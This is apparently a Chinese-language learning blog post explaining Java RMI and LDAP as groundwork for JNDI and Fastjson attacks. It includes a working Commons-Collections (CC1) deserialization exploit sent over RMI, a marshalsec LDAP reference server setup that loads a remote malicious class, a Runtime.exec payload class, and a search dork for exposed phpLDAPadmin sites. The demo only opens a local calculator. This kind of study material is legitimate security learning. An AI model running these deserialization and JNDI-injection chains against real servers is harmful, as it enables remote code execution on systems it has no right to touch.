前言

这一部分主要是为后面的jndifastjson做个铺垫

RMI

RMI(Remote Method Invocation),即Java远程方法调用,它使客户机上运行的程序可以通过网络实现调用远程服务器上的对象

RMI由三部分组成:

  • Client-客户端:客户端调用服务端的方法
  • Server-服务端:远程调用方法对象的提供者,也是代码真正执行的地方,执行结束会返回给客户端一个方法执行的结果
  • Registry-注册中心:其实本质就是一个map,相当于是字典一样,用于客户端查询要调用的方法的引用,在低版本的JDK中,Server与Registry是可以不在一台服务器上的,而在高版本的JDK中,Server与Registry只能在一台服务器上,否则无法注册成功

总的来说RMI的调用实现目的就是调用远程机器的类,跟调用一个写在自己的本地的类一样

唯一区别就是RMI服务端提供的方法,被调用的时候该方法是执行在服务端

构造Server

首先尝试构造RMI服务端:

构造RMI的服务端,首先需要写一个接口

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface RMI extends Remote {
    public String evil() throws RuntimeException;
}

构造这个接口要注意几个条件:

  • 使用public声明,否则客户端在尝试加载实现远程接口的远程对象时会出错。(如果客户端、服务端放一起的话就不会报错)
  • 接口需要继承java.rmi.Remote接口,这是一个空接口,和Serializable接口一样,只作标记作用,接口中的每个方法都需要抛出RemoteException异常。
  • 接口的方法需要声明java.rmi.RemoteException报错

然后服务端需要实现这个接口

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class server extends UnicastRemoteObject implements RMI{
    public server() throws RemoteException {
        System.out.println("构造方法");
    }
    public String evil() throws RemoteException {
        System.out.println("attack success!");
        return "zz";
    }
}

创建这个实现类也有几个条件:

  • 实现远程接口
  • 继承UnicastRemoteObject类,貌似继承了之后会使用默认socket进行通讯,并且该实现类会一直运行在服务器上(如果不继承UnicastRemoteObject类,则需要手工初始化远程对象,在远程对象的构造方法的调用UnicastRemoteObject.exportObject()静态方法)
  • 构造函数需要抛出一个RemoteException错误
  • 实现类中使用的对象必须都可序列化,即都继承java.io.Serializable

构造Registry

        RMI a = new server();//创建远程对象
        LocateRegistry.createRegistry(1099);//创建注册表,也就是创建并运行RMI Registry
        Naming.rebind("rmi://127.0.0.1:1099/zzz",a);//将远程对象a绑定到注册表里面,并把他名字绑定为zzz

Registry主要就这几行代码,Naming.rebind的第一个参数是URL,形如:rmi://host:port/name的形式,hostportRMI Registry的地址与端口,name是远程对象的名字。如果RMI Registry在本地运行,那么host和port是可以省略的,此时host默认是localhostport默认是1099

最后把Registry的代码和server的代码放在一起

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class Tserver {
    public static void main(String[] args) throws Exception{

        LocateRegistry.createRegistry(1099);
        RMI a = new server();
        Naming.rebind("rmi://127.0.0.1:1099/zzz", a);
    }
}

构造client

import java.rmi.Naming;


public class client {
    public static void main(String[] args) throws Exception {
        RMI zz = (RMI) Naming.lookup("rmi://127.0.0.1:1099/zzz");// 利用注册表的代理去查询远程注册表中名为zzz的对象
        System.out.println(zz.evil());

    }
}

客户端很简单,利用Naming.lookup方法在地址中去寻找我们绑定的对象,然后将这对象返回,里有个细节就是如果写了包名的话,客户端的包名也要和服务端的相同;还有就是由于我是在IDEA创建的同一个项目,所以接口可以复用了,如果真是环境的话,客户端也需要实现相同接口,不然是无法接收传过来的类的。

运行服务端后,再运行客户端

服务端:

客户端:

再来看一下一张图,明显看得出他们之间的关系了

在客户端和服务器各有一个代理,客户端的代理叫Stub(存根),服务端的代理叫Skeleton(骨架),合在一起形成了 RMI 构架协议,负责网络通信相关的功能。代理都是由服务端产生的,客户端的代理是在服务端产生后动态加载过去的。

stub担当远程对象的客户本地代表或代理人角色,负责把要调用的远程对象方法的方法名及其参数编组打包,并将该包转发给远程对象所在的服务器。

总结一下就是:
RMI Registry就像一个网关,本身不执行远程方法;RMI Server可以在上面注册一个Name到对象的绑定关系;RMI Client通过NameRMI Registry查询,得到这个绑定关系,然后再连接RMI Server,最后远程方法实际在RMI Server上进行调用。这里因为是本地调用,也没有用Reference类,所以没有server端口。

RMI反序列化

其实在RMI链接的过程中,数据的传输和得到是以序列化和反序列化的形式,详细看P神在Java安全漫谈RMI篇,里面通过wireshark的流量检测,对RMI的通信过程做了详细的分析,简单来说

  • 客户端先连接Registry,并在其中寻找Name对象,这里他是序列化传输调用函数的输入参数至服务端
  • 然后Registry返回一个序列化数据,它就是找到的Name对象
  • 客户端反序列化该对象,发现它是远程对象,于是再与这个远程对象的地址建立TCP连接,在这个新的连接里,才是执行的真正的远程方法,即evil();

实际上,它们的通讯过程就是序列化和反序列化的过程,里面调用了writeObject和readObject方法。所以构造恶意的序列化语句,服务端反序列化的时候如果存在漏洞就可以利用了

RMI的反序列化漏洞必须要有以下几个条件:

能进行RMI通信

  • 目标服务器引用了第三方存在反序列化漏洞的jar包
  • 接受Object类型的参数:如果服务端的某个方法,传递的参数是Object类型的参数,当服务端接收数据时,就会调用readObject,所以我们可以从这个角度入手来攻击服务端。
  • jdk版本要8_121以下,121之后加入了白名单限制

由于需要接受Object类型的参数,所以需要对接口代码增加一个方法:

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface RMI extends Remote {
    public String evil() throws RemoteException;
    public void qq(Object obj) throws RemoteException;
}

此时多了一个qq方法,之前说过当客户端调用这个方法时候,服务端会对其传递的参数进行反序列化。所以我们构造恶意的参数就可以了(理论上来说攻击客户端的话是客户端对方法返回的对象反序列化,所以在恶意服务端构造返回恶意对象的方法就行)

接着然后编写服务端:

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class server extends UnicastRemoteObject implements RMI{
    public server() throws RemoteException {
        System.out.println("构造方法");
    }
    public String evil() throws RemoteException {
        System.out.println("attack success!");
        return "hello,world";
    }
    public void qq(Object obj) throws RemoteException{
        System.out.println("1");
    }
}

调用服务类的还是不变

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class Tserver {
    public static void main(String[] args) throws Exception{

        LocateRegistry.createRegistry(1099);
        RMI a = new server();
        Naming.rebind("rmi://127.0.0.1:1099/zzz", a);
    }
}

最后编写客户端:(CC1链)

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;

public class client {
    public static void main(String[] args) throws Exception {
            RMI zz = (RMI) Naming.lookup("rmi://127.0.0.1:1099/zzz");// 利用注册表的代理去查询远程注册表中名为zzz的对象
            zz.qq(a());

    }
    public static Object a() throws Exception{
        Transformer[] transformers = new Transformer[]{new ConstantTransformer(Class.forName("java.lang.Runtime")),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("value","test");
        Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);

        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = cl.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Retention.class,outerMap);
        return obj;
    }
}

没弹出来可能是服务器JDK版本问题,注意一下限制条件就可以了

LDAP

什么是LDAP?

在介绍什么是LDAP之前,我们先来看一个东西:“什么是目录服务?”

    1. 目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,支持过滤功能。

    2. 是动态的,灵活的,易扩展的。

    如:人员组织管理,电话簿,地址簿。

目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。

目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好象它的名字一样。

LDAP(Lightweight Directory Access Protocol):轻量级目录访问协议,是一种在线目录访问协议,主要用于目录中资源的搜索和查询,是X.500的一种简便的实现。而LDAP目录服务是由目录数据库一套访问协议组成的系统

LDAP可以分为几种模型:

  • 信息模型,主要是条目(Entyr)、属性(Attribtue)、值(Value),Entry是目录树中的一个节点,每一个Entyr会描述一个真实的对象(Object class)
  • 命名模型
  • 功能模型
  • 安全模型

我们讨论的是以信息模型为基础的,既然LDAP是以树状的分布查询的,那么查询语句也应该是树状的形式,举个例子:比如要描述下图baby这个节点:

就要用

cn=baby, ou=marketing, ou=people, dc=mydomain, dc=org

接着来看LDAP中主要的三个专有名词:条目(Entry)属性(Attribute)对象类(ObjectClass)

  • 条目

条目,也叫记录项,是LDAP中最基本的颗粒,就想字典中的词条或者是数据中的记录。通常对LDAP的添加、删除、修改、搜索都是以条目为基本单位。

  • 属性

每个条目都可以有很多属性(Attribute),比如常见的人都有姓名、地址、电话等属性。每个属性都有名称及对应的值,属性值可以有单个、多个,比如你有多个邮箱。

此外,LDAP为人员组织机构中常见的对象都设计了属性(比如commonName,surname)。

  • 对象类

对象类是属性的集合,LDAP预想了很多人员组织机构中常见的对象,并将其封装成对象类。

还有几个关键字可以了解一下

LDAP的基本语法

  • =:等号,例,要查找属性getflag的值为flag的所有对象,则使用:(getflag=flag),它会返回对应条件的所有对象
  • &:逻辑与,例,要查找name为Tom并且getflag的值为flag的所有对象,使用:(&(name=Tom)(getflag=flag))。
    它的每一个参数都有属于自己的圆括号,且整个LDAP语句需要包括在一对圆括号里。
  • |:逻辑或,例,要查找name值为Tom或Jack的所有对象,使用;(|(name=Tom)(name=Jack))
  • !:逻辑非,例,要查找name为Tom以外的所有对象,使用:(!name=Tom)
  • *:通配符,可使用它表示任意值,例,查找所有name属性的对象:(name=*)

最后来一个比较复杂的例子:(&(Name=John)(|(live=Dallas)(live=Austin))),这可以查找所有居住在Dallas或Austin,并且名字为John的对象。

这样看总体还是非常简单的,接下来我们google hacking:intitle:”phpLDAPadmin” inurl:cmd.php来看下真实运行的LDAP服务网站

LDAP的利用

其实利用LDAP的流程与RMI基本一致,他也是由客户端和服务端组成的,主要能储存以下Java对象:

  • Java反序列化
  • JNDI的References
  • Marshalled对象
  • Remote Location

文章讨论的是第二个,也就是JNDI的References,这个讲jndi的时候再来讲,在这之前,先把相应的环境搭建好

推荐一个工具,marshalsecmarshalsec是一个快速搭建恶意的RMI或者LDAP服务器的工具,主要就是找到对应端口下的需要的类,然后把相应内容传到registerLDAP协议传输的端口

下载地址:https://github.com/RandomRobbieBF/marshalsec-jar

用命令启用服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8090/#attack 1089

简单理解就是attack.class会在本地的8090端口去找,1089端口开在RegistryRegistry会从本地的8090端口下获取attack对象

然后编写恶意类:

public class attack {
    public attack() throws Exception{
        Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
    }
}

把文件编译好

然后把这个class文件放在一个目录下,在这个目录用python起一个本地8090端口的服务

python3 -m http.server 8090

然后编写客户端

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class Client {
    public static void main(String[] args) throws NamingException {
        InitialContext object=new InitialContext();
        object.lookup("ldap://127.0.0.1:1089/attack");
    }
}

运行后就可以弹出来了

流程和RMI一样:
客户端先通过1089端口连接Registry,并在其中寻找attack对象,然后Registry返回一个序列化数据,客户端反序列化该对象,发现它是远程对象,于是再与这个远程对象的地址建立TCP连接,也就是与127.0.0.1:8090建立连接,在这个新的连接里,才会执行的真正的远程方法,即attack();

为了区分嘛,文中的LDAP是利用了Reference类,最终获取类的地方也就是最终通信的地方可以不是本地,RMI用的Naming.rebind,直接调用的本地里面的类了。不过原理什么的都是一样的,如果没有弹出来计算器,可能是JDK版本问题,不管是RMI还是LDAP都有版本要求,调低点就行了。

注意

(因为只是粗略的学习,至于什是Reference类,以及客户端中InitialContext object=new InitialContext();又或者是JDK的具体版本要求,后面在学习JNDI的时候会再提到!!)

LDAP注入

LDAP注入
列题解析
https://blog.raw.pm/en/noxCTF-2018-write-ups/

参考文章

https://xz.aliyun.com/t/6660#toc-4
https://zhuanlan.zhihu.com/p/96151046
https://www.cnblogs.com/nice0e3/p/14280278.html
https://blog.cfyqy.com/article/154071ea.html
http://blog.o3ev.cn/yy/1260#top
https://www.cnblogs.com/wilburxu/p/9174353.html
https://www.anquanke.com/post/id/212186#h2-4
LDAP注入